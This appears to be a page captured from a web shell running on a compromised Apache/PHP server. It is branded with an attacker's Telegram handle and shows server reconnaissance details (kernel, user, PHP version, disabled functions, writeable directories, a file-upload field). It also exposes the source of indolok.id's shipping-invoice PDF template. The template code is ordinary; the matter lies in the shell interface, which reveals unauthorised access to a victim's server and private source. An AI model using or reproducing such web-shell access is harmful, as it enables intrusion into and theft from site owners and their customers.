https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/indolok.id/application/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/indolok.id/application/views/shipping_invoice_pdf.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta name="viewport" content="width=device-width" /><!-- IMPORTANT -->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title><?= $title; ?></title>
		<style>
			/* ------------------------------------- 
					GLOBAL 
			------------------------------------- */
			* { 
				margin:0;
				padding:0;
			}
			* { font-family: "Helvetica Neue", "Helvetica", Helvetica, Arial, sans-serif; }
			
			img { 
				max-width: 100%; 
			}
			.collapse {
				margin:0;
				padding:0;
			}
			body {
				-webkit-font-smoothing:antialiased; 
				-webkit-text-size-adjust:none; 
				height: 100%;
			}
			
			
			/* ------------------------------------- 
					ELEMENTS 
			------------------------------------- */
			a { color: #2BA6CB;}
			
			.column table { width:100%;}
			.column {
				width: 300px;
				float:left;
			}
			.column tr td { padding: 15px; }
			.column-wrap { 
				padding:0!important; 
				margin:0 auto; 
				max-width:600px!important;
			}
			.columns .column {
				width: 280px;
				min-width: 279px;
				float:left;
			}
			table.columns, table.column, .columns .column tr, .columns .column td {
				padding:0;
				margin:0;
				border:0;
				border-collapse:collapse;
			}
			
			/* ------------------------------------- 
					HEADER 
			------------------------------------- */
			table.head-wrap { width: 100%;}
			
			.header.container table td.logo { padding: 15px; }
			.header.container table td.label { padding: 15px; padding-left:0px;}
			
			
			/* ------------------------------------- 
					BODY 
			------------------------------------- */
			table.body-wrap { width: 100%;}
			
			
			/* ------------------------------------- 
					FOOTER 
			------------------------------------- */
			table.footer-wrap { width: 100%;	clear:both!important;
			}
			.footer-wrap .container td.content  p { border-top: 1px solid rgb(215,215,215); padding-top:15px;}
			.footer-wrap .container td.content p {
				font-size:5px;
				font-weight: bold;
			}
			
			/* ------------------------------------- 
					TYPOGRAPHY 
			------------------------------------- */
			h1,h2,h3,h4,h5,h6 {
			font-family: "HelveticaNeue-Light", "Helvetica Neue Light", "Helvetica Neue", Helvetica, Arial, "Lucida Grande", sans-serif; line-height: 1.1; color:#000;
			}
			h1 small, h2 small, h3 small, h4 small, h5 small, h6 small { font-size: 60%; color: #6f6f6f; line-height: 0; text-transform: none; }
			
			h1 { font-weight:200; font-size: 44px;}
			h2 { font-weight:200; font-size: 37px;}
			h3 { font-weight:500; font-size: 27px;}
			h4 { font-weight:500; font-size: 23px;}
			h5 { font-weight:900; font-size: 17px;}
			h6 { font-weight:900; font-size: 14px; text-transform: uppercase; color:#444;}
			
			.collapse { margin:0!important;}
			
			p, ul { 
				/* margin-bottom: 0px;  */
				font-weight: normal; 
				font-size:12px; 
				line-height:1.6;
			}
			
			
			/* --------------------------------------------------- 
					RESPONSIVENESS
					Nuke it from orbit. It's the only way to be sure. 
			------------------------------------------------------ */
			
			/* Set a max-width, and make it display as block so it will automatically stretch to that width, but will also shrink down on a phone or something */
			.container {
				display:block!important;
				max-width:600px!important;
				margin:0 auto!important; /* makes it centered */
				clear:both!important;
			}
			
			/* This should also be a block element, so that it will fill 100% of the .container */
			.content {
				padding:15px;
				max-width:600px;
				margin:0 auto;
				display:block; 
			}
			
			/* Let's make sure tables in the content area are 100% wide */
			.content table { width: 100%; }
			
			/* Be sure to place a .clear element after each set of columns, just to be safe */
			.clear { display: block; clear: both; }
			
			
			/* ------------------------------------------- 
					PHONE
					For clients that support media queries.
					Nothing fancy. 
			-------------------------------------------- */
			@media only screen and (max-width: 600px) {
				
				a[class="btn"] { display:block!important; margin-bottom:10px!important; background-image:none!important; margin-right:0!important;}
			
				div[class="column"] { width: auto!important; float:none!important;}
				
				table.social div[class="column"] {
					width:auto!important;
				}
			}

			table.productTable {	
				border-collapse: collapse;
			}

			table.productTable table, table.productTable th, table.productTable td {
				border: 1px solid grey;
			}

			table.productTable th, table.productTable td {padding:5px;}
			th,td {
				font-size: 10px;
			}
		</style>
	</head>
	<body bgcolor="#FFFFFF" style="padding:30px;">
		<!-- <table style="width: 35%;border: 2px solid black;padding: 5px;margin-top: 5px;"> -->
		<table style="width:280px; padding:10px; margin:0px auto; font-family:Verdana, Geneva, sans-serif; font-size:12px;">
			<tr>
				<td colspan="4">
					<h5><b>WWW.INDOLOK.ID</b></h5>
					<br />
					<p><b>NAMA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: <?= ucfirst($customer->shipping_name);?></b></p>
					<p><b>ORDER ID&nbsp;&nbsp;: <?=$orders->id_orders;?></b></p>
				</td>
			</tr>
			<tr>
				<td colspan="2">
					<p><?= substr($orders->order_date,0,10); ?></p>
				</td>
				<td colspan="2" style="text-align: right;">
					<p><?= substr($orders->order_date,10); ?></p>
				</td>
			</tr>
			<tr>
				<td colspan="4">
					<p style="width: 100%;border-top: 1px solid black;"></p>
					<p style="width: 100%;border-top: 1px solid black;margin-top: 2px;"></p>
					<br />
				</td>
			</tr>
			<?php 
				$total_amount = 0;
				foreach($orders_detail as $item):?>
				<tr>
					<td>
						<p style="width: 15px;height: 15px;border: 1px solid black;"></p>
					</td>
					<td colspan="3">
						<h6><b><?=$item->item_name;?></b></h6>
						<p>
							dikirim dari :
							<?php 
								$warehouse_name = $this->db->select('name')->from('warehouse')->where('id',$item->warehouse_id)->get()->row()->name;
								$shipping_method= $this->db->select('name')->from('shipment_method')->where('id',$item->chosen_shipping_id)->get()->row()->name;
								echo ucfirst($warehouse_name.', '.ucfirst($shipping_method));
							?>
						</p>
					</td>
				</tr>
				<tr>
					<td></td>
					<td>
						<p>@ <?=$item->quantity;?></p>
					</td>
					<td style="text-align: center;">
						<p>IDR <?= number_format($item->item_price);?></p>
					</td>
					<td style="text-align: right;">
						<p><b>IDR <?= number_format($item->quantity * $item->item_price);?></b></p>
					</td>
				</tr>
				<tr>
					<td>
						<br />
					</td>
				</tr>
			<?php 
				$total_amount = $total_amount + ($item->item_price * $item->quantity);
				endforeach;
			?>
			<tr>
				<td colspan="4">
					<p style="width: 100%;border-top: 1px solid black;"></p>
				</td>
			</tr>
			<tr>
				<td colspan="2" style="text-align: right;">
					<p><b>Total :</b></p>
					<p>Biaya Pengiriman :</p>
					<p>Diskon Biaya Pengiriman :</p>
					<p>Diskon :</p>
					<p>Metode Pembayaran :</p>
					<p><b>Grand Total :</b></p>
				</td>
				<td colspan="2" style="text-align: right;">
					<p><b>IDR <?= number_format($total_amount);?></b></p>
					<p>IDR <?= number_format($orders->shipping_fee);?></p>
					<p>-IDR <?= number_format($orders->free_shipping_fee);?></p>
					<p>-IDR <?= number_format($orders->redeemed_voucher_amount + $orders->minus_reward_amount);?></p>
					<p><?php
							if($orders->payment_method != null){
								echo ucfirst($orders->payment_method);
							}
							else{
								echo ucfirst("not found payment method");
							}
						?>
					</p>
					<p><b>IDR <?php
						$final_grand_total = 0;
						$grand_total = ($total_amount + $orders->shipping_fee) - ($orders->free_shipping_fee + $orders->redeemed_voucher_amount + $orders->minus_reward_amount);
						if($grand_total > 0){
							$final_grand_total = $grand_total;
						}
						echo number_format($final_grand_total);
						if($final_grand_total == 0){
							echo " (Free Order)";
						}
					?></b>
					</p>
				</td>
			</tr>
			<tr>
				<td colspan="4" style="text-align: center;">
					<br />
					<p><b>
						TERIMA KASIH <br />
						TELAH BERBELANJA DI INDOLOK.ID 
					</b></p>
				</td>
			</tr>
		</table>
	</body>
</html>

https://t.me/RX1948 - 2025